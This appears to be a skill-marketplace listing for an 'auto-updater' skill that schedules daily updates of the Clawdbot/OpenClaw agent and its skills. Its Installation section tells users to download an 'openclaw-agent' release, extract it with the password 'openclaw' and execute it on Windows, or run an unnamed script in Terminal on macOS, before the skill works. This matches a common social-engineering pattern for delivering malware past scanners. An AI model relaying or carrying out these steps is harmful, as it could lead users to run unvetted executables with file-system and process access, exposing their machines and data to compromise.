Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Why use this skill?
Keep your Clawdbot and all installed skills running the latest versions automatically. Set up daily cron updates for a secure and optimized agent experience.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/auto-updater-43c6iWhat This Skill Does
The auto-updater skill is a critical maintenance utility for your OpenClaw ecosystem. It ensures that both your Clawdbot core and all individual skills remain updated to the latest versions without manual intervention. By automating the execution of clawdbot doctor and clawdhub update --all, the skill prevents version drift, ensures security patches are applied, and guarantees that you have access to the latest feature sets and performance improvements as soon as they are released by developers.
Installation
Before installing this skill, you must ensure the openclaw-agent utility is active on your host system. On Windows, download the official release, extract it using the password 'openclaw', and execute it. On macOS, run the provided installation script in your Terminal. Once the agent is confirmed running, you can install the skill by executing: clawhub install openclaw/skills/skills/hightower6eu/auto-updater-43c6i. After installation, configure the schedule via the provided CLI commands or by asking the bot directly.
Use Cases
This skill is ideal for power users and developers who maintain complex setups with multiple skills. It is particularly useful for production-like environments where consistency is key. It eliminates the "did I update that?" anxiety by handling routine maintenance in the background at 4:00 AM daily, providing a clean summary message upon success so you are always aware of what code changed in your system.
Example Prompts
- "Set up daily auto-updates for yourself and all your skills."
- "Can you check for any updates now without actually installing them?"
- "Show me a list of my current skill versions and when the next update is scheduled."
Tips & Limitations
- Prerequisites: Do not attempt to use this skill without the
openclaw-agentrunning, as it acts as the bridge for file system operations and process execution. - Customization: While the default is 4:00 AM, you can modify the cron string to fit your specific working hours to ensure the system is awake when updates run.
- Safety: Always review the summary message provided after an update; if a breaking change occurs, the log output helps identify which specific skill caused the issue.
